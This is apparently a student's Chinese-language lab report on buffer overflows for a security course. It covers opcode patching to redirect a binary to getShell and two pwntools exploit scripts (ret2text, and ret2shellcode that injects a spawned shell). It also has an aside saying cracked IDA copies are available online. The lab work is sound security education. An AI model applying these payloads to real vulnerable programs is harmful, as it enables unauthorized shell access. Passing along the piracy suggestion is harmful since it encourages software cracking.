首页 > 其他分享 >20222314 2024-2025-1 《网络与系统攻防技术》实验一实验报告

20222314 2024-2025-1 《网络与系统攻防技术》实验一实验报告

时间:2024-10-09 13:12:56浏览次数:9  
标签:机器码 getShell 32 2024 2025 指令 20222314 shellcode 机器指令

网络攻防实验报告

姓名:陈振烨
学号:20222314


实验日期:2024/09/29 — 2024/10/09

实验名称:缓冲区溢出和shellcode

指导教师:王志强

实验要求:
 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分)
 2.掌握反汇编与十六进制编程器 (0.5分)
 3.能正确修改机器指令改变程序执行流程(0.5分)
 4.能正确构造payload进行bof攻击(0.5分)***

 5.注入一个自己制作的shellcode并运行这段shellcode

实验步骤:

1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
   (1). NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
   (2). JNE:条件转移指令,如果不相等则跳转。(机器码:75)
   (3). JE:条件转移指令,如果相等则跳转。(机器码:74)
   (4). JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
   (5). CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

2.掌握反汇编与十六进制编程器
   反汇编工具:objdump ida_pro
   十六进制编辑器:vim中的xxd指令,winhex,010editor,sublim等

    objdump使用方式:objdump -d [filename]
    IDA_pro使用方法:先对elf进行checksec,确定文件是32位还是64位,随后用对应的程序打开(9.0版本不需要区
    分),若是exe文件,则exeinfo查询信息后打开(其实也可以直接试)

    vim查看16进制 :在vim打开文件后,输入:%!xxd ,若进行了修改,在wq之前一定要:%!xxd -r,否则文件类型会出错
    其他查看方式 :此处不再赘述,尤其是ida,不破解需要爆金币,可自行搜索,网上基本都有下载及破解方式

3.能正确修改机器指令改变程序执行流程
   既然要修改机器指令,那么首先就要学会去查找原本的机器指令以及汇编程序,从而我们首先使用objdump查看具体的函数和机器指令:(第一列为内存地址,第二列为机器指令、第三列为机器指令对应的汇编语言)

   这里我们主要关注红框所框出的getShell(),foo(),main()三个函数的汇编指令
   观察main函数发现,call 跳转到了foo函数,而根据对文件的运行测试发现,它只会简单回显任何用户输入的字符串。根据实验要求,我们需要修改可执行文件,改变程序执行流程,直接跳转到getShell函数。因此,需要将call 8048491中的地址8048491修改为getShell的地址804847d,偏移量=8048491-80484ba=-41。补码表示为0xffffffd7,与第二列机器指令中的0xd7ffffff相吻合。由此可知,要想调用getShell,偏移量为0804847d(getShell函数的首地址)-80484ba=-61=0xffffff3c颠倒为计算机存储内容,为0xc3ffffff,即需要将0xd7ffffff修改为0xc3ffffff。

   接下来对机器指令进行修改,先用vim查看文件的16进制,按照前面所提到的方式,vim后输入:%!xxd进入如图所示的界面,/d7ff查找机器指令

   修改d7为c3,一定要记得先:%!xxd -r后再:wq,否则文件类型会出错
   随后运行文件,./pwn1,成功getshell

4.能正确构造payload进行bof攻击
   毕竟我是打ctf的,这里我想使用我自己的方法,所以我没有按照参考文档进行,这里掏出我的ubuntu虚拟机,那上面我已经部署好了pwn的相关环境
   针对第四题,其实就是一道简单的ret2text,先对文件进行checksec

   可以看到这是一个32位的小端程序,很好,没有NX和canary
   正常情况下,刚才的objdump已经给出了函数的地址信息,但是这里为了展示一下ida的界面和用法,用32位ida打开文件重新分析

   32位程序差四位,由此我们可以编写payload=b'A'*(28+4)+p32(getShell_addr):
   EXP如下:

#r2t.py

from pwn import *
p=process("pwn2")
getShell_addr = 0x0804847d
payload = b'A'*(28+4) + p32(getShell_addr)
p.sendline(payload)
p.interactive()

   运行后成功getshell

5.注入一个自己制作的shellcode并运行这段shellcode

   ret2shellcode中比较一个关键的点就是寻找寄存器的地址,只有这样才能让shellcode被注入到可执行的段落,先利用execstcak -s pwn1命令禁用掉NX保护(其实在前文中可以看到NX并没有被开启,但是不知道为什么,不进行这一步是打不通的,应该是因为我的checksec出现了一些小bug),同时要注意禁用下ASLR
   利用gdb调试,先进行一波注入测试(在root下gdb,不然那个地址好像会出错),在puts下断点,r运行后输入32个A和一堆零

   disassmble foo查看foo函数的退出地址,在此处下第二个断点,按c继续
   info r esp查看堆栈信息
   可以看出0xffffd09c就是我们要找的寄存器了,别忘了,32位程序要加4,所以最后应该是0xffffd0a0 编写exp如下:
from pwn import *
p = process("pwn1")
shellcode = asm(shellcraft.sh())
payload2 = b'A' * 32 +p32(0xffffd0a0)+shellcode
p.send(payload2)
p.interactive()

  运行后成功getshell





    这里就要说的我要吐槽的一个点了,其实就算开启了ASLR和NX保护也是可以打的,因为这是一个典型的小段32位程序,有gets和puts,且.plt.got表十分好找且地址正确,按道理来说不论是syscall(只能打关ASLR)还是ret2libc(这个能打保护双开),都可以通过一波注入泄露puts的真实地址,随后找到合适的libc库,结果就在我做拓展的时候,我发现虽然能找到system函数和/bin/sh字符串,但是这个程序居然没有int_80x??????(我满脑子都是纳尼)这就意味着我们没法通过中断指令进行系统调用,从而ret2syscall这一条路就彻底给我堵死了,后来我进行ret2libc时遇到了一个经典问题就是同长度同传参的segmentation fault,并且泄露的puts的real地址在关掉ASLR后竟然是一个抽象的0x61616161,当然后来这个问题我解决了,随后我又遇到了一个逆天的问题:本地打不通,我非常确信我的脚本绝对没问题了,毕竟在ctf时也经常出现本地打不通但是远程可以打通的问题,不管怎么着都是一次做题经验,无所谓了就是说()

标签:机器码,getShell,32,2024,2025,指令,20222314,shellcode,机器指令
From: https://www.cnblogs.com/52HuLu/p/18454001

相关文章

  • 2024年软件设计师中级(软考中级)详细笔记【3】数据结构(下)(分值5分)
    上午题第3章数据结构下部目录前言第3章数据结构【下】(5分)3.5查找3.5.1查找的基本概念【考点】3.5.2静态查找表的查找方法3.5.3动态查找表3.5.4哈希表3.5.4.1哈希表的定义3.5.4.2哈希函数的构造方法3.5.4.3处理冲突的方法3.6排序3.6.1排序的基本概念3.6.2......
  • 20241009--Java--MyBatis-Plus快速上手(1)
     一、MyBatis-Plus是什么?MyBatis是一个流行的开源持久层框架,用于简化数据库交互。它提供了一个简单的方法来执行数据库操作,同时保留了SQL的灵活性。MyBatis曾经被称为iBatis,是一个半自动化的ORM(Object-RelationalMapping对象关系映射)框架,它允许开发者将Java对象映......
  • PatriotCTF2024 Web Impersonate
    源码:#!/usr/bin/envpython3fromflaskimportFlask,request,render_template,jsonify,abort,redirect,sessionimportuuidimportosfromdatetimeimportdatetime,timedeltaimporthashlibapp=Flask(__name__)server_start_time=datetime.now()server_s......
  • 【2024-10-08】母亲坏事
    20:00袅袅凉风动,凄凄寒露零。兰衰花始白,荷破叶犹青。独立栖沙鹤,双飞照水萤。若为寥落境,仍值酒初醒。                                                 ——《池上》唐......
  • 【2024-10-10】好心坏事
    20:00事到手,且莫急,便要缓缓想;想得时,且莫缓,便要急急行。                                                 ——清·金缨《格言联璧》昨晚下班回家在附近跑完步,让母亲给......
  • 【2024-10-05】连岳摘抄
    23:59不是因为你不好而有自卑感。无论看起来多么优秀的人,多少都会感到自卑。只要还有目标,当然就有自卑感。                                                 ——阿尔弗......
  • 2024初秋集训——提高组 #33
    C.星际航行题目描述给定一个\(N\)个点\(M\)条边的无向带权图。我们定义一条路径的长度为路径上边权最大值。有\(Q\)次查询,第\(i\)次查询从\(u\)到其他\(N-1\)个点的最短路径中路径长度第\(k\)大的长度。思路首先,此题显然只会在最小生成树上选择路径。所以我们......
  • 20241008
    短路显然可以得出一个结论,一个数字大的点肯定要到一个数字比他小的点,这个我们可以用单调栈维护出来比一个点小的第一个点,然后\(dp\)即可#include<bits/stdc++.h>usingnamespacestd;#defineintlonglongconstintN=1e5+5;intn,a[N],pos[N],dp[N],sum......
  • [智能网联汽车/数据标准/法规政策] 标准解读:GB/T 44464-2024《汽车数据通用要求》
    0引言随着智能技术的不断发展,智能网联汽车作为新时代移动智能终端的代表,正引领着汽车产业向智能化、网联化深刻转型与升级。智能网联汽车与云端服务器、移动端、车端等设备存在大量的数据交互,包括车辆运行数据、用户个人信息等。缺乏对这些数据实施的有效监管与控制,将潜藏重大......
  • 2024年10月
    来到宜善后,从老板的认知里,得到的启示:世界就是一本巨大的开卷资料库,你想创造价值、做成某件事,即想这份开卷考试得到一个好的结果,就是去照着问题找答案。会找很重要。找到后就是模仿的执行,就能得到好的结果。高中时,化学老师带着我们班一年提高了成绩,也是在,教我们吃透所谓的开卷资料......